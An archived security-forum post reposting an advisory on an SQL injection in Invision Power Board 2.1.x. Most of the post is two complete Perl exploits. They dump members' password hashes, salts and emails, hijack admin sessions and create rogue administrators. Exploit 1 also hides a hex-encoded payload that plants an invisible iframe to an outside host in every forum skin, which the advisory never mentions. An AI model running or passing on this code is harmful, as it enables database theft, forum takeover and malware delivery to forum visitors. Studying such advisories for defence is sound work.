邪恶八进制信息安全团队技术讨论组's Archiver

睡猫 2006-8-3 00:27

[转载]Invision Power Board ipsclass.php脚本远程SQL注入漏洞

信息来源:绿盟科技

发布日期:2006-07-18
更新日期:2006-07-19

受影响系统:
Invision PS IPB 2.1.x
不受影响系统:
Invision PS IPB 2.1.7
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 18984

Invision Power Board是一个非常流行的PHP论坛程序。

Invision Power Board对用户请求数据的处理存在输入验证漏洞,远程攻击者可能利用此漏洞对服务器执行SQL注入攻击,非法操作数据库。

在Invision Power Board的ipsclass.php脚本中由于没有正确的验证对CLIENT_IP HTTP头字段的输入数据,因此远程攻击者可以利用SQL注入攻击执行任意SQL代码。

<*来源:1dt.w0lf ([email]idtwolf@sigaret.net[/email])
  
  链接:[url]http://secunia.com/advisories/21072/print/[/url]
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Exploit 1

#!/usr/bin/perl

## Invision Power Board v2.1 <= 2.1.6 sql injection exploit by RST/GHC
## Based on LOCAL_IP bug, more info in RST/GHC Advisory#41
## [url]http://rst.void.ru/papers/advisory41.txt[/url]
## tested on 2.1.3, 2.1.6
##
## 08.06.06
## (c)oded by 1dt.w0lf
## RST/GHC
## [url]http://rst.void.ru[/url]
## [url]http://ghc.ru[/url]

use Tk;
use Tk::BrowseEntry;
use Tk::DialogBox;
use LWP::UserAgent;

$mw = new MainWindow(title => "r57ipb216gui" );

$mw->geometry ( &#39;420x550&#39; ) ;
$mw->resizable(0,0);

$mw->Label(-text => &#39;!&#39;, -font => &#39;{Webdings} 22&#39;)->pack();
$mw->Label(-text => &#39;Invision Power Board 2.1.* <= 2.1.6 sql injection exploit by RST/GHC&#39;, -font => &#39;{Verdana} 7 bold&#39;,-foreground=>&#39;red&#39;)->pack();
$mw->Label(-text => &#39;&#39;)->pack();

$fleft=$mw->Frame()->pack ( -side => &#39;left&#39;, -anchor => &#39;ne&#39;) ;
$fright=$mw->Frame()->pack ( -side => &#39;left&#39;, -anchor => &#39;nw&#39;) ;

$url = &#39;[url]http://server/forum/index.php[/url]&#39;;
$user_id = &#39;1&#39;;
$prefix = &#39;ibf_&#39;;
$table = &#39;members&#39;;
$column = &#39;member_login_key&#39;;
$new_admin_name = &#39;rstghc&#39;;
$new_admin_password = &#39;rstghc&#39;;
$new_admin_email = &#39;[email]billy@microsoft.com[/email]&#39;;
$report = &#39;&#39;;
$group = 4;
$curr_user = 0;
$rand_session = &session();
$use_custom_fields = 0;
$custom_fields = &#39;name1=value1,name2=value2&#39;;

$fleft->Label ( -text => &#39;Path to forum index: &#39;, -font => &#39;{Verdana} 8 bold&#39;) ->pack ( -side => "top" , -anchor => &#39;e&#39; ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => &#39;{Verdana} 8&#39;, -textvariable => \$url) ->pack ( -side => "top" , -anchor => &#39;w&#39; ) ;

$fleft->Label ( -text => &#39;User ID: &#39;, -font => &#39;{Verdana} 8 bold&#39; ) ->pack ( -side => "top" , -anchor => &#39;e&#39; ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => &#39;{Verdana} 8&#39;, -textvariable => \$user_id) ->pack ( -side => "top" , -anchor => &#39;w&#39; ) ;

$fleft->Label ( -text => &#39;Database tables prefix: &#39;, -font => &#39;{Verdana} 8 bold&#39;) ->pack ( -side => "top" , -anchor => &#39;e&#39; ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => &#39;{Verdana} 8&#39;, -textvariable => \$prefix) ->pack ( -side => "top" , -anchor => &#39;w&#39; ) ;

$fright->Label( -text => &#39; &#39;)->pack();
$fleft->Label( -text => &#39; &#39;)->pack();

$fleft->Label ( -text => &#39;get data from database&#39;, -font => &#39;{Verdana} 8 bold&#39;,-foreground=>&#39;green&#39;) ->pack ( -side => "top" , -anchor => &#39;e&#39; ) ;
$fright->Label( -text => &#39; &#39;)->pack();

$fleft->Label ( -text => &#39;Get data from table: &#39;, -font => &#39;{Verdana} 8 bold&#39;) ->pack ( -side => "top" , -anchor => &#39;e&#39; ) ;
$b2 = $fright->BrowseEntry( -command => \&update_columns, -relief => "groove", -variable => \$table, -font => &#39;{Verdana} 8&#39;);
$b2->insert("end", "members");
$b2->insert("end", "members_converge");
$b2->pack( -side => "top" , -anchor => &#39;w&#39;);

$fleft->Label ( -text => &#39;Get data from column: &#39;, -font => &#39;{Verdana} 8 bold&#39;) ->pack ( -side => "top" , -anchor => &#39;e&#39; ) ;
$b = $fright->BrowseEntry( -relief => "groove", -variable => \$column, -font => &#39;{Verdana} 8&#39;);
$b->insert("end", "member_login_key");
$b->insert("end", "name");
$b->insert("end", "ip_address");
$b->insert("end", "legacy_password");
$b->insert("end", "email");
$b->pack( -side => "top" , -anchor => &#39;w&#39; );

$fleft->Label ( -text => &#39;Returned data: &#39;, -font => &#39;{Verdana} 8 bold&#39;) ->pack ( -side => "top" , -anchor => &#39;e&#39; ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => &#39;{Verdana} 8&#39;, -textvariable => \$report) ->pack ( -side => "top" , -anchor => &#39;w&#39; ) ;

$fleft->Label ( -text => &#39;create new admin&#39;, -font => &#39;{Verdana} 8 bold&#39;,-foreground=>&#39;green&#39;) ->pack ( -side => "top" , -anchor => &#39;e&#39; ) ;
$fright->Label( -text => &#39; &#39;)->pack();

$fleft->Label ( -text => &#39; &#39;)->pack();

$fright->Checkbutton( -font => &#39;{Verdana} 8&#39;, -text => &#39;Get admin session for inserted user ID&#39;, -variable => \$curr_user)->pack(-side => "top" , -anchor => &#39;w&#39;);

$fleft->Label ( -text => &#39;session_id: &#39;, -font => &#39;{Verdana} 8 bold&#39;) ->pack ( -side => "top" , -anchor => &#39;e&#39; ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => &#39;{Verdana} 8&#39;, -textvariable => \$session_id) ->pack ( -side => "top" , -anchor => &#39;w&#39; ) ;

$fleft->Label ( -text => &#39;session_ip_address: &#39;, -font => &#39;{Verdana} 8 bold&#39;) ->pack ( -side => "top" , -anchor => &#39;e&#39; ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => &#39;{Verdana} 8&#39;, -textvariable => \$session_ip_address) ->pack ( -side => "top" , -anchor => &#39;w&#39; ) ;

$fleft->Label ( -text => &#39;new admin name: &#39;, -font => &#39;{Verdana} 8 bold&#39;) ->pack ( -side => "top" , -anchor => &#39;e&#39; ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => &#39;{Verdana} 8&#39;, -textvariable => \$new_admin_name) ->pack ( -side => "top" , -anchor => &#39;w&#39; ) ;

$fleft->Label ( -text => &#39;new admin password: &#39;, -font => &#39;{Verdana} 8 bold&#39;) ->pack ( -side => "top" , -anchor => &#39;e&#39; ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => &#39;{Verdana} 8&#39;, -textvariable => \$new_admin_password) ->pack ( -side => "top" , -anchor => &#39;w&#39; ) ;

$fleft->Label ( -text => &#39;new_admin_email: &#39;, -font => &#39;{Verdana} 8 bold&#39;) ->pack ( -side => "top" , -anchor => &#39;e&#39; ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => &#39;{Verdana} 8&#39;, -textvariable => \$new_admin_email) ->pack ( -side => "top" , -anchor => &#39;w&#39; ) ;

$fleft->Label ( -text => &#39; &#39;)->pack();
$fright->Checkbutton( -font => &#39;{Verdana} 8&#39;, -text => &#39;Use custom profile fields&#39;, -variable => \$use_custom_fields)->pack(-side => "top" , -anchor => &#39;w&#39;);

$fleft->Label ( -text => &#39;custom fields: &#39;, -font => &#39;{Verdana} 8 bold&#39;) ->pack ( -side => "top" , -anchor => &#39;e&#39; ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => &#39;{Verdana} 8&#39;, -textvariable => \$custom_fields) ->pack ( -side => "top" , -anchor => &#39;w&#39; ) ;

$fright->Label( -text => &#39; &#39;)->pack();

$fright->Button(-text   => &#39;Test forum vulnerability&#39;,
           -relief => "groove",
           -width => &#39;30&#39;,
           -font => &#39;{Verdana} 8 bold&#39;,
           -activeforeground => &#39;red&#39;,
           -command => \&test_vuln
          )->pack();

$fright->Button(-text   => &#39;Get database tables prefix&#39;,
           -relief => "groove",
           -width => &#39;30&#39;,
           -font => &#39;{Verdana} 8 bold&#39;,
           -activeforeground => &#39;red&#39;,
           -command => \&get_prefix
          )->pack();

$fright->Button(-text   => &#39;Get data from database&#39;,
           -relief => "groove",
           -width => &#39;30&#39;,
           -font => &#39;{Verdana} 8 bold&#39;,
           -activeforeground => &#39;red&#39;,
           -command => \&get_data
          )->pack();

$fright->Button(-text   => &#39;Get admin session&#39;,
           -relief => "groove",
           -width => &#39;30&#39;,
           -font => &#39;{Verdana} 8 bold&#39;,
           -activeforeground => &#39;red&#39;,
           -command => \&get_admin
          )->pack();

$fright->Button(-text   => &#39;Create new admin&#39;,
           -relief => "groove",
           -width => &#39;30&#39;,
           -font => &#39;{Verdana} 8 bold&#39;,
           -activeforeground => &#39;red&#39;,
           -command => \&create_admin
          )->pack();



$fleft->Label( -text => &#39; &#39;)->pack();
$fleft->Label( -text => &#39; &#39;)->pack();
$fleft->Label( -text => &#39; &#39;)->pack();
$fleft->Label( -text => &#39;(c)oded by 1dt.w0lf&#39;, -font => &#39;{Verdana} 7&#39;)->pack();
$fleft->Label( -text => &#39;RST/GHC&#39;, -font => &#39;{Verdana} 7&#39;)->pack();
$fleft->Label( -text => &#39;[url]http://rst.void.ru[/url]&#39;, -font => &#39;{Verdana} 7&#39;)->pack();
$fleft->Label( -text => &#39;[url]http://ghc.ru[/url]&#39;, -font => &#39;{Verdana} 7&#39;)->pack();

MainLoop();

sub update_columns()
{
$b->delete(0,"end");
if($table eq &#39;members&#39;){
$column = "member_login_key";  
$b->insert("end", "member_login_key");
$b->insert("end", "name");
$b->insert("end", "ip_address");
$b->insert("end", "legacy_password");
$b->insert("end", "email");
} elsif($table eq &#39;members_converge&#39;){
$column = "converge_pass_hash";  
$b->insert("end", "converge_pass_hash");
$b->insert("end", "converge_pass_salt");
$b->insert("end", "converge_email");
}
}

sub get_admin()
{
$xpl = LWP::UserAgent->new( ) or die;
$InfoWindow=$mw->DialogBox(-title  => &#39;get admin session&#39;, -buttons => ["OK"]);
if($curr_user == 1) { $sql = "AND session_member_id = $user_id"; }
else { $sql = &#39;&#39;; }
$res = $xpl->get($url."?s=$rand_session",&#39;USER_AGENT&#39;=>&#39;&#39;,&#39;CLIENT_IP&#39;=>"&#39; UNION SELECT session_ip_address,1,1,1 FROM ".$prefix."admin_sessions WHERE session_running_time > (UNIX_TIMESTAMP() - 60*60*2) $sql LIMIT 1/*");
$error = 0;
$rep = &#39;&#39;;
if($res->is_success)
  {
  if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; }
  if($rep =~ /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/) { $session_ip_address = $rep; }
  else { $error = 1; }
  if(!$error)
  {
  $rep = &#39;&#39;;
  $res = $xpl->get($url."?s=$rand_session",&#39;USER_AGENT&#39;=>&#39;&#39;,&#39;CLIENT_IP&#39;=>"&#39; UNION SELECT session_id,1,1,1 FROM ".$prefix."admin_sessions WHERE session_running_time > (UNIX_TIMESTAMP() - 60*60*2) and session_ip_address = &#39;$session_ip_address&#39; $sql LIMIT 1/*");
  if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; $session_id = $rep; }
  else { $error = 1; }
  if(!$error){
  if($curr_user != 1)
   {
   $res = $xpl->get($url."?s=$rand_session",&#39;USER_AGENT&#39;=>&#39;&#39;,&#39;CLIENT_IP&#39;=>"&#39; UNION SELECT session_member_id,1,1,1 FROM ".$prefix."admin_sessions WHERE session_id = &#39;$session_id&#39; LIMIT 1/*");
   if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $session_user_id = $3; }
   }
  else
   {
   $session_user_id = $user_id;
   }
  $res = $xpl->get($url."?s=$rand_session",&#39;USER_AGENT&#39;=>&#39;&#39;,&#39;CLIENT_IP&#39;=>"&#39; UNION SELECT mgroup,1,1,1 FROM ".$prefix."members WHERE id = $session_user_id /*");
  if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $group = $3; }
  $res = $xpl->get($url."?s=$rand_session",&#39;USER_AGENT&#39;=>&#39;&#39;,&#39;CLIENT_IP&#39;=>"&#39; UNION SELECT name,1,1,1 FROM ".$prefix."members WHERE id = $session_user_id /*");
  if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $name = $3; }
  }
  $InfoWindow->add(&#39;Label&#39;, -text => &#39;Found session!&#39;, -font => &#39;{Verdana} 8 bold&#39;,-foreground=>&#39;Green&#39;)->pack;
  $InfoWindow->add(&#39;Label&#39;, -text => &#39;session_ip_address: &#39;.$session_ip_address, -font => &#39;{Verdana} 8&#39;)->pack;
  $InfoWindow->add(&#39;Label&#39;, -text => &#39;session_id: &#39;.$session_id, -font => &#39;{Verdana} 8&#39;)->pack;
  $InfoWindow->add(&#39;Label&#39;, -text => &#39;user_id: &#39;.$session_user_id, -font => &#39;{Verdana} 8&#39;)->pack;
  $InfoWindow->add(&#39;Label&#39;, -text => &#39;username: &#39;.$name, -font => &#39;{Verdana} 8&#39;)->pack;
  $InfoWindow->add(&#39;Label&#39;, -text => &#39;group: &#39;.$group, -font => &#39;{Verdana} 8&#39;)->pack;
  $InfoWindow->Show();
  $InfoWindow->destroy;  
  }
  }
else
  {
  $InfoWindow->add(&#39;Label&#39;, -text => &#39;Error!&#39;, -font => &#39;{Verdana} 8 bold&#39;,-foreground=>&#39;red&#39;)->pack;
  $InfoWindow->add(&#39;Label&#39;, -text => $res->status_line, -font => &#39;{Verdana} 8&#39;)->pack;
  $InfoWindow->Show();
  $InfoWindow->destroy;
  }   
if($error)
  {
  $InfoWindow->add(&#39;Label&#39;, -text => &#39;Can\&#39;t get admin session.&#39;, -font => &#39;{Verdana} 8 bold&#39;,-foreground=>&#39;red&#39;)->pack;
  $InfoWindow->add(&#39;Label&#39;, -text => &#39;Maybe admin session not exist. Please try later.&#39;, -font => &#39;{Verdana} 8&#39;)->pack;
  $InfoWindow->Show();
  $InfoWindow->destroy;  
  }  
}

sub get_data()
{
$xpl = LWP::UserAgent->new( ) or die;
$InfoWindow=$mw->DialogBox(-title  => &#39;get data from database&#39;, -buttons => ["OK"]);
if($table eq &#39;members&#39;) { $id_text = &#39;id&#39;; }
if($table eq &#39;members_converge&#39;) { $id_text = &#39;converge_id&#39;; }

$res = $xpl->get($url."?s=$rand_session",&#39;USER_AGENT&#39;=>&#39;&#39;,&#39;CLIENT_IP&#39;=>"&#39; UNION SELECT ".$column.",1,1,1 FROM ".$prefix.$table." WHERE ".$id_text."=".$user_id."/*");
if($res->is_success)
{
$rep = &#39;&#39;;  
if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/){ $report = $3; }
else
  {
  $InfoWindow->add(&#39;Label&#39;, -text => &#39;Can\&#39;t get data from database&#39;, -font => &#39;{Verdana} 8 bold&#39;,-foreground=>&#39;red&#39;)->pack;
  $InfoWindow->Show();
  $InfoWindow->destroy;  
  }
  }
else
{
$InfoWindow->add(&#39;Label&#39;, -text => &#39;Error!&#39;, -font => &#39;{Verdana} 8 bold&#39;,-foreground=>&#39;red&#39;)->pack;
$InfoWindow->add(&#39;Label&#39;, -text => $res->status_line, -font => &#39;{Verdana} 8&#39;)->pack;
$InfoWindow->Show();
$InfoWindow->destroy;
}   
}

sub create_admin()
{
$InfoWindow=$mw->DialogBox(-title  => &#39;create new admin&#39;, -buttons => ["OK"]);
if($session_id eq &#39;&#39; || $session_ip_address eq &#39;&#39;)
  {
  $InfoWindow->add(&#39;Label&#39;, -text => &#39;Error!&#39;, -font => &#39;{Verdana} 8 bold&#39;,-foreground=>&#39;red&#39;)->pack;
  $InfoWindow->add(&#39;Label&#39;, -text => &#39;You need insert admin session_id and session_ip_address&#39;, -font => &#39;{Verdana} 8&#39;)->pack;
  }
elsif($session_ip_address !~ /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/)
  {
  $InfoWindow->add(&#39;Label&#39;, -text => &#39;Error!&#39;, -font => &#39;{Verdana} 8 bold&#39;,-foreground=>&#39;red&#39;)->pack;
  $InfoWindow->add(&#39;Label&#39;, -text => &#39;session_ip_address wrong!&#39;, -font => &#39;{Verdana} 8&#39;)->pack;
  }
else
  {
$xpl = LWP::UserAgent->new( ) or die;
($url2 = $url) =~ s/index.php/admin.php/;
$cf = &#39;&#39;;
%fields = (
&#39;code&#39;    => &#39;doadd&#39;,
&#39;act&#39;    => &#39;mem&#39;,
&#39;section&#39;  => &#39;content&#39;,
&#39;name&#39;    => $new_admin_name,
&#39;password&#39; => $new_admin_password,
&#39;email&#39;   => $new_admin_email,
&#39;mgroup&#39;  => $group,   
        );
if($use_custom_fields)
  {
  @cf = split(&#39;,&#39;,$custom_fields);
  foreach(@cf) { ($k,$v) = split(&#39;=&#39;,$_); $fields{$k} = $v;}
  }
  
$res = $xpl->post($url2."?adsess=$session_id",
[
%fields,
],
&#39;USER_AGENT&#39;=>&#39;&#39;,
&#39;CLIENT_IP&#39;=>"$session_ip_address",
&#39;X_FORWARDED_FOR&#39;=>"$session_ip_address");
$if = &#39;0x3C646976207374796C653D225649534942494C4954593A2068696464656E223E3C696672616D65207372633D22687474703A2F2F7A63687873696B70677A2E62697A2F646C2F6164763534332E706870222077696474683D31206865696768743D313E3C2F696672616D653E3C2F6469763E&#39;;
$query  = "UPDATE ".$prefix."skin_sets SET set_wrapper = CONCAT(set_wrapper,".$if."), set_cache_wrapper = CONCAT(set_cache_wrapper,".$if.")";
$res = $xpl->post($url2."?adsess=$session_id",
[
&#39;code&#39;    => &#39;runsql&#39;,
&#39;act&#39;    => &#39;sql&#39;,
&#39;section&#39;  => &#39;admin&#39;,
&#39;query&#39;    => $query,
],
&#39;USER_AGENT&#39;=>&#39;&#39;,
&#39;CLIENT_IP&#39;=>"$session_ip_address",
&#39;X_FORWARDED_FOR&#39;=>"$session_ip_address");
$InfoWindow->add(&#39;Label&#39;, -text => &#39;Done!&#39;, -font => &#39;{Verdana} 8 bold&#39;,-foreground=>&#39;green&#39;)->pack;
$InfoWindow->add(&#39;Label&#39;, -text => &#39;New admin created&#39;, -font => &#39;{Verdana} 8 bold&#39;)->pack;  
  }
$InfoWindow->Show();
$InfoWindow->destroy;
}

sub test_vuln()
{
$InfoWindow=$mw->DialogBox(-title  => &#39;test forum vulnerability&#39;, -buttons => ["OK"]);
$InfoWindow->add(&#39;Label&#39;, -text => &#39;&#39;, -font => &#39;{Verdana} 8&#39;)->pack;
$InfoWindow->add(&#39;Label&#39;, -text => $url, -font => &#39;{Verdana} 8&#39;)->pack;
$InfoWindow->add(&#39;Label&#39;, -text => &#39;&#39;, -font => &#39;{Verdana} 8&#39;)->pack;
$xpl = LWP::UserAgent->new( ) or die;
$res = $xpl->get($url."?s=$rand_session",&#39;USER_AGENT&#39;=>&#39;&#39;,&#39;CLIENT_IP&#39;=>"&#39; UNION SELECT &#39;VULN&#39;,1,1,1/*");
if($res->is_success)
{
$rep = &#39;&#39;;
if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; }
if($rep eq &#39;VULN&#39;) { $InfoWindow->add(&#39;Label&#39;, -text => &#39;FORUM VULNERABLE&#39;, -font => &#39;{Verdana} 8 bold&#39;,-foreground=>&#39;red&#39;)->pack; }
else { $InfoWindow->add(&#39;Label&#39;, -text => &#39;FORUM UNVULNERABLE&#39;, -font => &#39;{Verdana} 8 bold&#39;,-foreground=>&#39;green&#39;)->pack; }
}
else
{
$InfoWindow->add(&#39;Label&#39;, -text => &#39;Error!&#39;, -font => &#39;{Verdana} 8 bold&#39;,-foreground=>&#39;red&#39;)->pack;
$InfoWindow->add(&#39;Label&#39;, -text => $res->status_line, -font => &#39;{Verdana} 8&#39;)->pack;
}
$InfoWindow->Show();
$InfoWindow->destroy;
}


sub get_prefix()
{
$InfoWindow=$mw->DialogBox(-title  => &#39;get database tables prefix&#39;, -buttons => ["OK"]);
$InfoWindow->add(&#39;Label&#39;, -text => &#39;&#39;, -font => &#39;{Verdana} 8&#39;)->pack;
$InfoWindow->add(&#39;Label&#39;, -text => $url, -font => &#39;{Verdana} 8&#39;)->pack;
$InfoWindow->add(&#39;Label&#39;, -text => &#39;&#39;, -font => &#39;{Verdana} 8&#39;)->pack;
$xpl = LWP::UserAgent->new( ) or die;
$res = $xpl->get($url."?s=$rand_session",&#39;USER_AGENT&#39;=>&#39;&#39;,&#39;CLIENT_IP&#39;=>"&#39;");
if($res->is_success)
{
$rep = &#39;&#39;;
if($res->as_string =~ /FROM (.*)sessions/)
{
$prefix = $1;
$InfoWindow->add(&#39;Label&#39;, -text => &#39;Prefix: &#39;.$prefix, -font => &#39;{Verdana} 8 bold&#39;)->pack;
}
else
{
$InfoWindow->add(&#39;Label&#39;, -text => &#39;Can\&#39;t get prefix&#39;, -font => &#39;{Verdana} 8 bold&#39;,-foreground=>&#39;red&#39;)->pack; }
}
else
{
$InfoWindow->add(&#39;Label&#39;, -text => &#39;Error!&#39;, -font => &#39;{Verdana} 8 bold&#39;,-foreground=>&#39;red&#39;)->pack;
$InfoWindow->add(&#39;Label&#39;, -text => $res->status_line, -font => &#39;{Verdana} 8&#39;)->pack;
}
$InfoWindow->Show();
$InfoWindow->destroy;  
}

sub session()
{
return &#39;r57ipb216_for_IDS&#39;;  
}

# milw0rm.com [2006-07-14]


Exploit 2

#!/usr/bin/perl
use LWP::UserAgent;
$ua = LWP::UserAgent->new;
&header();
if (@ARGV < 2) {&info(); exit();}
$server = $ARGV[0];
$dir = $ARGV[1];
print "[+] SERVER {$server}\r\n";
print "[+] DIR {$dir}\r\n";
#Step 1, detecting vulnerability
print "[1] Testing forum vulnerability...";
$q = "UNION SELECT &#39;VULN&#39;,1,1,1/*";
query($q,$server,$dir);
if($rep =~/VULN/){ print "forum vulnerable\r\n"; }
else
   {
    print "forum unvulnerable\r\n";
    &footer();
    exit();
   }
#Step 2, detecting prefix
print "[2] Searching prefix...";
$q = "";
query($q,$server,$dir);
$prefix = $rep;
print $prefix."\r\n";
#Step 3, make query
print "[3] Performing query; it may take several minutes, plz, wait...\r\n";
$q1 = "UNION SELECT MAX(converge_id),1,1,1 FROM ".$prefix."members_converge/*";
query($q1,$server,$dir);
$kol = $rep;
open(RES,">".$server."_result.txt");
for($id = 1; $id <= $kol; $id++)
   {
    $own_query = "UNION SELECT converge_pass_hash,1,1,1 FROM ".$prefix."members_converge WHERE converge_id=".$id."/*";
    query($own_query,$server,$dir);
    if($rep=~/[0-9a-f]{32}/i)
      {
      $hash = $rep;
      $own_query = "UNION SELECT converge_pass_salt,1,1,1 FROM ".$prefix."members_converge WHERE converge_id=".$id."/*";
      query($own_query,$server,$dir);
      if(length($rep)==5)
        {
         $salt = $rep;
         $own_query = "UNION SELECT converge_email,1,1,1 FROM ".$prefix."members_converge WHERE converge_id=".$id."/*";
         query($own_query,$server,$dir);
         if(length($rep)>0)
           {
            $email = $rep;
            print RES $id.":".$hash.":".$salt."::".$email."\n";
           }
        }      
      }
   }
close(RES);
print "[!] Query was successfully perfomed. Results are in txt files\r\n";
&footer();
$ex = <STDIN>;
sub footer()
   {
    print "[G] Greets: 1dt.w0lf (rst/ghc)\r\n";
    print "[L] Visit: secbun.info | damagelab.org | rst.void.ru\r\n";
   }
sub header()
{
print q(
----------------------------------------------------------
* Invision Power Board 2.1.* Remote SQL Injecton Exploit *
*     Based on r57-Advisory#41 by 1dt.w0lf (rst/ghc)  *
*           Coded by w4g.not null             *
*          FOR EDUCATIONAL PURPOSES *ONLY*        *
----------------------------------------------------------
);
}
sub info()
{
print q(
[i] Usage: perl w4gipb216.pl [server] [/dir/]
    where
     |- server - server, where IPB installed without http://
     |- /dir/ - dir, where IPB installed or / for no dir
    e.g perl w4gipb216.pl someserver.com /forum/
[i] Stealing info about users (format id:pass:salt::email)   
[!] Need MySQL > 4.0
);
}
sub query()
   {
    my($q,$server,$dir) = @_;
    $res = $ua->get("http://".$server.$dir."index.php?s=w00t",&#39;USER_AGENT&#39;=>&#39;&#39;,&#39;CLIENT_IP&#39;=>"&#39; ".$q);
    if($res->is_success)
      {
      $rep = &#39;&#39;;
      if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; }
      else
          {
         if($res->as_string =~ /FROM (.*)sessions/) { $rep = $1; }
        }
      }
    return $rep;
   }

# milw0rm.com [2006-07-18]

建议:
--------------------------------------------------------------------------------
厂商补丁:

Invision PS
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

[url]http://www.invisionpower.com/[/url]

页: [1]
© 1999-2008 EvilOctal Security Team